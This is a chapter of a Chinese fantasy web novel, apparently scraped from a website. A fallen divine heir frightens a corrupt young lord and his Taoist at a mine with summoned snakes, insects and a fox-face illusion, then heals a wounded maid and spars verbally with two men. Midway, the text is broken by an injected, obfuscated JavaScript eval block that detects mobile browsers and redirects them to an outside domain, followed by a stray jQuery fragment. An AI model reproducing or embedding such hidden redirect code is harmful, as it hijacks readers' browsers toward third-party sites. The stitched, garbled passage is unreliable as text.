这一次,白紫瑶没对矿地中任何人显露踪迹。
借助白玉矿脉中的玉髓灵气,她眼中的阳气世界更加清晰,她可以开启灵目,看道所有相遇之人的阳气波动。
有了灵目的加持,她就能在对方阳气波动接近前一瞬,闪身躲避,如此就能在对方视线中彻底“隐身”。
意识到她计划的小槐忍不住地大声称赞:【主人,您真是太厉害了!寻常人或妖,遇到人类阳气,或是想办法吸食,或是当成无用之物熟视无睹。前者终会显出妖气,后者无甚作为。您却寻到了第三条路,将灵目当做人类做事的工具加以利用!】
白紫瑶的身形在树林之间腾挪辗转,任凭前方遇到的农夫、旷工越来越多,亦能完美隐藏身形,躲避所有人的视线。
她微笑着回应道:【神裔沦落为妖这般事,虽没有先例可循,但不论做妖还是做人,既然来都来了,咱们总要要找到对这具妖身,物尽其用的办法。】
小槐:【小槐的主人,就是三界之中最厉害的!小槐定当竭尽全力,辅佐您得偿所愿,虽万死而不辞!】
说着,小槐又想到了另外一件事,语声更加欢快:【还有还有,那狐妖怎么也想不到,即便抢了主人的神骨和心脏,得以偷些昆仑神裔食玉髓的本事,但只要本尊在此,地脉所有玉髓灵力的主人,便只有您一位。只要您向玉髓灵气发出信号,玉髓灵脉就会源源不断进入您体内!】
白紫瑶的心情却没有因为小槐的兴奋而轻松半分。
为了救环环,情急之下,她才手按大地,想以桃夭植物根脉之力去唤出更多动物。从不知这样竟能唤醒地脉中的玉髓灵。
但环环此时的危机还未解除,她还要完成这最关键的一环。
她前进脚步越来越轻盈,她分明感觉到更大的玉髓灵脉距离她越来越近。
她经过的每一个人,身上独特的阳气颜色也越来越明显,她甚至能分辨每种阳气不同的气味。
稍微回想下歪脖树下的情景,她竟忽然回想高珲阳气的气味。跟放了十几天彻底发酵的馊泔水,不能说毫无关系,只能说一模一样。稍微回想,都叫人恶心难当。
与白紫瑶同感的小槐忽然惋惜地说:【可惜狐妖苏怜儿的身上没有阳气能够跟踪,不然对付起她和萧贱人就容易多了】
白紫瑶在密林中小心行进着,【不急,我的妖身与神裔之灵才刚开始融合,早晚有一日,会找到对付那些畜生的方法】
说话间,白紫瑶的视线中忽然出现一片开阔的空地,此时的她位于半山腰,那片空地则位于山脚下。
白紫瑶寻了一株古树,扶着树干小心隐蔽身形。
从山腰望去,下方空地布局清晰,功能分明,整个矿场随着山势铺陈开来。
最中央的位置,贴着山壁的位置,有个一黑洞洞的矿口。几根粗大的原木支撑着矿洞的结构。
洞口前堆积着各种开采出的矿石,原石堆前方,又有一个偌大的棚子,棚子下引了活水,搭了水槽。还有各种破石凿子等工具。
衣着光线的高珲,正骑在马上与另外两人说着什么话。
两人中,一位身着道袍,手拉缰绳,拂尘随风轻扬。他身材清瘦,面容周正,一把长须在风中飘拂,颇有几分世外高人的风范。
而另一人,白紫瑶再熟悉不过,正是一身将军服,身兼皇城司大统领与靖玄司捉妖天师的云别尘。
白紫瑶眉心微蹙。
她忽然发现了一件事,高珲及其他所有普通人,身上阳气都能被她嗅出味道,但那道士与云别尘的,却不能。
道士身上阳气的颜色,她还能影影绰绰的看见,云别尘身上的她就半点也看不到了。
看来修行之人身上的防备比寻常人强很多,只有真正被她近距离吸食时,才能感知它们的存在。
这样看来,云别尘不愧是被称为羲和朝第一捉妖天师的男子,实力果然不是寻常修行之人能比的。
眼看三人聊天将要结束,云别尘略略侧头,算是对另外两人示意,之后勒马掉头,朝着道路另一端驱马而去。
就在白紫瑶莫名松了一口气时,她分明看到云别尘似是侧了下眸,冰冷的目光利箭般瞬间朝她射来。
白紫瑶唇角微勾。
那笑容像是在对他说:大统领只管安心离去,你不方便查、不容易查出的所有,都将由我接手。
云别尘眉梢微挑,似是在无声回应:莫叫我失望。
之后他彻底别过头,再没有半点迟疑,向着前方策马奔去。
云别尘离开后,白紫瑶看到高珲和那名倒是似乎还在商量着什么。
小槐有些担心地问:【主人,您想怎么对付这两个坏蛋?一次将他们阳气吸尽,自然能治死他们,只是那道士本领不低,要接近他们应是不容易】
白紫瑶嫌恶地撇撇嘴,【那么臭的阳气,休想染我半分,我另有办法对付。】
小槐:【主人想要怎么做?】
白紫瑶唇角微勾,【小槐,你觉得作奸犯科、屠戮弱小之辈,会怕鬼吗?】
小槐:【他们都不怕报应,应该不太会怕鬼吧?】
白紫瑶:【那是因为他们没有见过鬼,所以会妄想能买通鬼神,任他们为所欲为】
小槐:【可是主人您亦无法招鬼,如今世界,仙魔神鬼俱寂,唯人族繁盛,便是妖族也如西山落日,一刻比一刻势微。又如何吓得住他们?】
白紫瑶:【何为真鬼,又何为假鬼?能吓的住恶人的,便是好鬼。】
说完她摘下头上斗笠,伸手抓住一缕飘来的阳气波动,悄然向前一步。
山下的高珲坐在马上,正侧身与他请来的御妖天师金阳道长商议应对靖玄司的事,忽觉后脊一凉。
他虽然是常年纵情酒色的纨绔,衣着打扮也多是贵家公子的文气装扮,实则自幼习武。
他本就出身世家,能请到的武师父都是天下闻名的,功夫称得上高强,警惕性也是一顶一的。
后脊触到凉意的瞬间,便本能警觉地倏然回头。
他充满戒备的目光直直朝对面的半山方向射去。
然后,他便毫无准备的看到了这样一幕。
山间不知何时升起一片薄雾,恰在这一眼中,忽有山风起,将薄雾倏然荡开一道缝隙,影绰树影间,恍然出现一抹倩影。
质地轻盈的紫粉衣裙,被山风轻轻扬起,在这片苍青黛绿中,就像一道秾丽霞光,灼目得近乎放肆。
那女子身姿婀娜,极尽丰满性感之能事,她的皮肤白极了,即便相隔如此远的距离,但高珲就是看到了她那张绝美的眼。
她的眼眸美极了,明亮、清冷、沉静,却又带着致命的魅惑,仿佛能穿过所有雾霭与浮云,直直投进人的心坎里。叫人只看一眼,三魂七魄就能被勾走大半。
高珲双目瞳仁不可察地缩了下,直觉告诉他,突然出现的女人,绝对不是人。
那她又是什么?精魅,还是……鬼魂?
金阳天师察觉到高珲的异常,不觉疑问出声,“衙内,您这可是看到什么了?”
金阳突来的声音又叫高珲吓了一跳。
他身上忍不住打了个寒颤,急急回头,望着金阳满目惊愕道:“天师,那处有妖!”
到循着高珲所指,高阳也急急转头向山上望去,可出现在他面前只是一片再寻常不过的林景。
他眉梢跳了下。
说实话,他半点妖气也没察觉到。
他不是一般的御妖天师,他是有灵力祝福加持的御妖天师,拥有仙灵的通感。
灵仙对妖气的感应最为敏感,便是一流的捉妖师、修道者,都比不过他。更何况这座矿山里里外外都贴满了他的符咒,真有妖怪闯入,绝逃不出他的眼睛。
可除了御妖、捉妖的本领,他揣度人心的本领更强。
能叫高珲这种混不吝,鬼神不忌的纨绔公子吓出这个样子,他若如实相告,只会叫高珲疑心他并没有什么真本事。
他沉下脸色,顿时严肃起来,单手一扬拂尘,对着高珲刚才惊看的地方,横眉冷目道:“却有妖气萦绕,竟能破阵而入,来者不善。”
高珲忽然惊惧地举起手,指向另一侧,“可是天师,妖精在那!”
金阳急急转头,却还是什么都没看到。
在高珲眼中,那道妖冶身影又瞬间消失。对于金阳天师,他从来都是最信服的,可是今日他却莫名生出一种不详预感。
纵然没察觉到妖气,金阳也察觉出事情不对劲来,他勒紧缰绳,在骏马焦躁地响鼻和马蹄声中来回巡视左右。
高珲座下马匹也被惊吓了似的,不断甩着马头,来回转着圈的踱步。
原本这片矿场有很多工人做工的,但为了应对皇城司的云别尘,金阳才特意摒退一众杂役。天色越发暗的,空空荡荡的矿场显得越发阴森起来。
“天师,此地不宜久留,我们还是——”高珲用力扥着缰绳,想要第一时间离开这个诡异之地,不想金阳却迟迟没有回答他。
他本能地回头,却发现刚才还能掐会算,仙风道骨的金阳天师此时竟不见了踪影。
偌大的阴暗矿场,竟然忽的只剩下他一个人。
高珲后背顿时冷汗涔涔而下。
他双腿紧夹马腹,恨不能立刻插上双翅赶紧跑。
但是座下骏马却像中邪了般来回转圈,就是不肯跑。
“你……在寻什么……”一道森冷的女声忽然响在耳畔,他惊恐转身,却什么都没看到,这时身下骏马却突然被什么吓到似的,猛地仰头扬蹄发出一声嘶鸣。
高珲本来很精通马术,却仍是被突然疯狂的骏马掀翻在地。
“呃……”这一下,他只觉得满身骨架都要被摔碎了。
他痛苦地挣扎起身,却忽然在前面看到了倒地不起的金阳天师与另外昏死的一匹马。
更可怕的是,金阳天师和那匹马的身上爬满了黑压压的毒虫和毒蛇。
“娘呀!”高珲踉跄着跌倒在地,被眼前恐怖的一幕吓得眼泪都飞出来了!
就在这时,他忽然感觉一片阴影飘到他头顶,将他整个人瞬间笼罩。
他的身子瞬间就僵了一半,他双手死死揪着地上的杂草,以极其缓慢的速度一点点转过头。
他看见一片粉紫色的裙摆,视线缓慢上移,女人的腰肢盈盈可握,近距离看更加诱人。
如果不是在今天这么可怕的情景,他绝对会扑上去,掐住她的小腰,狠狠磋磨她。
也许是突生出的色心,叫他的胆子大了些,目光上移的速度也稍微快了些。
可是突然闯进他视线的,却不再是刚才那张无比美艳的脸,而是一张无比恐怖狰狞、长满长毛的狐狸兽脸!
极致美丽与极致恐怖诡异地融合为一体,只在瞬间就给高珲的脑子造成了近乎毁灭性的打击。
他的嘴巴骇然张开,却发不出半个字,他的灵魂也似在瞬间被吓出窍。
然而那张狐狸脸却根本不会如此轻易绕过他,它梦地张开血盆大口,露出森白尖利的犬齿与猩红的口腔内部。
一声尖利的嚎叫骤然乍响,仿佛能在瞬息之间就穿透人的骨髓。
下一瞬天地变色,世界彻底被黑暗笼罩,他看到了漫天乌云向他袭来,高珲眼球惊惧转动,哪里是什么乌云,分明是数不清的毒虫飞蚁层层堆叠在一起,仿佛下一瞬,就能将他的身体撕咬啃噬得只剩一堆白骨。
“啊!!!”
他发出一声尖利的惨叫,眼前世界忽的一黑,彻底失去了知觉。
一只淡紫色的绣鞋恍然出现,经过半腐的枯草,用力地踏在了昏死的高珲的脸上。
飘逸的紫粉色裙摆随着她的动作,荡开水一般的涟漪,美丽的裙裾之上,是纤细的身形,再上是一张玉琢般的美丽的脸。
那双惯能勾魂的眉眼,此刻眸光沉得骇人,凌厉的杀意似要将脚下之人抽骨剥皮。
如此近距离接触,白紫瑶竟能通过高珲的阳气,看进他的意识,得到几个他的记忆碎片。
只是浮光掠影般地匆匆几眼,就叫她恶心得几乎要呕出来。
【主人,那道士竟有些本事,万幸此时的您身上没有妖气,趁他不备唤出了草间毒蛇袭击了他。只是此地不宜久留,察觉他手上,护着他的那股灵气很快就会出现】
白紫瑶最后瞪了高珲与那道士一眼,不由冷笑出声:“神罚,才刚刚开始。你们便在这绝望中,静待终局。”
她果断转身离开。一只趴在她肩头的狐狸嘤咛一声,乖巧地跳下。邀功般地在她脚边摇着硕大的狐狸尾巴。
矿场的人听到动静,也会很快赶来,她是要离开了。
她将叠在挎篮中的灰色麻布斗篷抽出,倏然甩开,重新披在山上。斗笠也被重新戴上,而那只狐狸则十分灵巧地叼起两片落地的灰色布片,覆在她脚下月白色的绣鞋鞋面上。
不过眨眼的功夫,她又变回了之前衣着朴素的农家妇人形象。
就在此时,从周遭山林里忽然传出一阵喧闹的人声。白紫瑶直到,矿场的打手护卫们终于被惊动,马上就要赶到这里。
像是察觉到她心中所想,方才还乖巧跟在她身畔的小狐狸倏然止步后退,随即一阵更恐怖的摩擦声从草地中传来。
白紫瑶正行走间,眼尾余光瞥见一抹黑影掠动,唇角不觉勾起清浅的弧度。她步履未停,只优雅地抬脚一踏,身下那物便如灵蛇般弓起脊背,载着她稳稳地没入山林深处。
那是一条巨大的蟒蛇,与漫天飞虫、偷袭道士的毒蛇、几乎将高珲吓死的狐狸,一同受她召唤而来。
一个时辰后,白紫瑶重新回到城中药铺。
她走进院子时,天色已经全黑,院子里也是黑漆漆的一片,只有一间房间点了灯,昏黄的烛光透过窗纸晕染出一小片光亮。
白紫瑶来不及脱掉身上伪装,只扔掉斗笠,就往温其玉之前躺过的卧房走去。便是那间燃着灯的房间。
她一把推开门,就看到了站在床边的温其玉。
对于温其玉的出现,白紫瑶半点也不惊讶,她快步奔到床边,看着床上昏迷的少女正是之前被高珲判了死刑的梓柔贴身侍女,环环。
她一把推开温其玉,伸手检查环环额上伤口。
那伤口看着实在恐怖,从额顶蜿蜒直下,直至少女眼皮处。恐怕再深一点,少女的眼睛就彻底毁了。
万幸伤口已经被人认真清理过,又洒了止血的药粉,才没有继续恶化。
小槐忍不住地安慰道:【主人别难过,那时的您并没有掌握玉髓灵,强行开启向桃夭借灵力的通道,几乎要了您半条命,能在关键时刻,令黄仙出现,护住环环致命要害的同时,还要造成她重伤身死的假象,已是极限】
白紫瑶唇角牵出一抹苦涩笑容,【若非为了救环环,我也寻不到这吸收玉髓的机缘。这傻孩子,无论何时都在为梓柔拼命。】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479000|183518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>一旁的温其玉虽然听不到白紫瑶与小槐的对话,只看她情急的样子,也大概猜出了些什么。
其实早在白紫瑶进院时,他就察觉到她的归来了。
毕竟是习武之人,只从脚步声他就辨出来人正是白紫瑶。但他却抽不出身去迎,只因要照顾这位天降般的奇异病人。
温其玉见白紫瑶额上全是汗,原本水润的红唇此时也有些干紧,忙转身走到向旁边桌子,先净了手,才为白紫瑶斟了一杯温茶。
他回到白紫瑶近前,递过茶盏,一脸“恩人姐姐,竟想不到,你还有御兽的本事,刚被那黄家郎君寻到时,我可是被吓了一跳。跟着它出了城,就看到一条黑色巨蟒驮着这重伤的女子。我起初都没想到是你,不想那黄家郎君竟用爪子在地上写了个‘紫’字,我才明白它们皆是你派来的。虽然没得到姐姐口信,但知道姐姐医术奇诡高超,无人能及,便将这女子带来家里。”
白紫瑶这才直起了些身子,接过茶盏,急急饮了一大口。
温其玉口中的黄家郎君,便是黄仙,黄鼠狼。
说是黄仙,却非仙,也非妖,只是一只普通的小动物,不然就会被给高珲护场子的金阳发现。
玉髓灵唤醒的昆仑神裔的灵力,莫说驱虫御兽,灵力到达一定程度,乘龙御妖皆不在划下。
黄家郎君得了神裔敕令,便可以短暂具有灵力。它指挥着同样得了敕令的黑蟒,在李富贵与李阿蛮叔侄将环环草草填埋后,快速出击,将其掘出。
后专门捡着只有野兽才能通过的林间小路,一路奔回京城。
白紫瑶的簪子曾为温其玉治过伤,上面残留了温其玉些许阳气。得了阳气线索的黄家郎君很快在城中寻到温其玉。
温其玉很是被吓了一跳,好在他生性善良,对于小动物天然有颗爱护之心。
黄家郎君咬着他的袍角,拼命想把他往城外带。
温其玉虽然不明所以,却还是好奇地随之出城。
白紫瑶喝完茶,将茶杯放回温其玉手中,微笑着点点头,“幸而阿玉聪慧,这其中但凡哪步走偏,这女子怕是就要枉死了。”
说完她坐回床边,摘下槐花簪,对准环环额头的伤口,隔空描摹似地比划着。
温其玉乖巧地站在旁边,好奇地望着白紫瑶每一个动作。
令他意想不到的是,簪子只是隔空比划了两下,连少女的皮肤都没触到,她额头上的伤口就以肉眼可见的速度迅速恢复。
不过半柱香的功夫,少女脸上狰狞可怖的伤口,就平整光滑得仿佛从未受过伤一般。
看着白紫瑶从袖中取出一块手帕,将簪略略擦拭后重新戴回头上,温其玉惊讶得嘴巴都合不上了。
他忍不住地开口询问:“恩人姐姐,您施展的是什么招式?巫医之术吗?现今巫医治病救人,都这么厉害了吗?”
以前他也当过卧底,混进巫医队伍里调查案情,可从没见过哪个巫医能有这般手段。
身子有些疲倦的白紫瑶,悬着的心终于落下,松了口气,抬眼瞥了下温其玉,眸底微笑温柔如水,“莫再叫恩人姐姐了,唤我阿紫就好。”
温其玉的脸顿时红到了脖子根。
不是不想,只是不敢。
这个称呼,太容易令人忘记初心。
看着温其玉忽然害羞的样子,白紫瑶心情莫名大好,她又将视线转回到环环身上,伸手为她掖了下被角。
“我若是寻常巫医,绝救不活阿玉。我乃是通灵的巫医,不仅可以御兽驱虫,更能清除寻常巫医清不了的妖毒。你胸口与这女娃额头的伤,都是妖毒所致。祛除妖毒后,再借来灵力修治,自然能在眨眼间恢复如初。”
温其玉顿时恍然,“原来如此。”
白紫瑶伸手抚着环环额头处皮肤,又软又弹,还是她最喜欢的手感。
温其玉忽然间又想到了什么,问道:“恩人姐姐今日在矿场还顺利吗?这女子也是矿场中人吗?我看姐姐与其感情很不一般,莫不是相熟之人?”
对于最后一个问题,白紫瑶早有准备,“还算顺利,这女子是个可怜人,我亲眼看着她被奸人当众打杀。我们虽然并不相识,但医者人心,眼见一条命就要在我眼前这么被糟践了,自然急切。”
她直起身,抬手重新看向温其玉,“就像对阿玉,你我之前亦不识,但为了救阿玉,我也会不惜人力物力,哪怕要耗费许多修为与灵力,也在所不惜。”
温其玉被她灼灼的目光摄得顿时一愣,随即竟莫名有些心虚地低下了头,一时不知该如何答话才好。
白紫瑶呼了口气,脸上重又现出笑意,“好啦,又不白医治你,以后定要夜夜都来我这里,助我试炼新药。”
温其玉像是下了很大决心,重重点头,又抬起头,望向白紫瑶的目光无比郑重,又无比认真,“恩人姐姐放心,阿玉定不负嘱托。”
白紫瑶眉梢微挑,忽然站起身来,朝着温其玉步步逼近,“是阿紫,阿玉若是再叫错,阿紫可要好好地惩罚你了~”
温其玉的脸又在瞬间胀得通红,面对越来越近的白紫瑶,竟忍不住地接连后退两步。
温其玉那副温顺可欺的样子,让白紫瑶的恶趣味在心底滋长。
她欺身近前,正要再进一步捉弄,此时,门扉忽然被人推开,一道英姿飒爽的黑色身影蓦地跃入眼帘。
“阿玉莫怕,本天师为你撑腰,我看哪个敢欺负你。”
此时的云别尘褪去了白日里那身威风赫凛的将军服,换上一袭利落的黑色武者常服,尽显出少年人特有的轻盈与挺拔。
他恍然抬眸,目光便精准地攫住了房内的白紫瑶。四目相对间,他唇角徐徐弯出一抹笑意,如冰雪初融,更似云开见日,明粲俊逸,令人心折,只是眸光幽深,又似带着一丝令人难以捉摸的深意。
温其玉闻声回头,看到云别尘的第一眼却是连忙摆手,替白紫瑶解释道:“大统领,白姐姐没有欺负我,白姐姐对阿玉很好的,您千万别误会。”
云别尘笑着摆摆手,算是给了回应,随后走到床边,俯视着床上伤者,单手背在身后,转眸望向白紫瑶,“今日之事,你虽然得以脱身,若没有其他后招,到底是只会逞匹夫之勇、只知享一时之快的莽夫行为罢了。”
面对云别尘的质疑与挑衅,白紫瑶并不恼,她无所谓般地耸了耸肩,起身走向方桌,坐在桌前,为自己又倒了一杯茶。
她慢悠悠地小啜一口后,才端详着茶杯,不急不忙地说道:“云天师慧眼如炬,果然一眼看出此事,紫瑶才算开了个头。”
说着她倏然抬眼,目光锋利直指云别尘,“或者,紫瑶这么说,本就不甚恰当。天才如云天师,又怎么会看不出紫瑶的计策安排,若真的看不出,不是枉担了羲和朝第一捉妖天师的名头,与蠢材何异?”
二人一言我一语,夹枪带棒的阴阳怪气,直听得旁边的温其玉心惊肉跳。
他尴尬地笑了声,向前两步妄图缓和屋中莫名紧张的氛围,“大统领,今夜皇城司三位大统领不是要相聚议事吗?您怎么出来了?”
云别尘抬眼看他,似笑非笑地道:“事议完了,自然能出得皇城司。至于为何会来此地,还不是为了你小子。”
温其玉讶异眨眼,“为我?可是我身子都好了,大统领又不让我做重活,怎么叫您挂怀到深夜特意来此地一趟?”
云别尘的脸色沉了又沉,如果可以,他真想一巴掌把这毛头小子扇飞到爪哇国。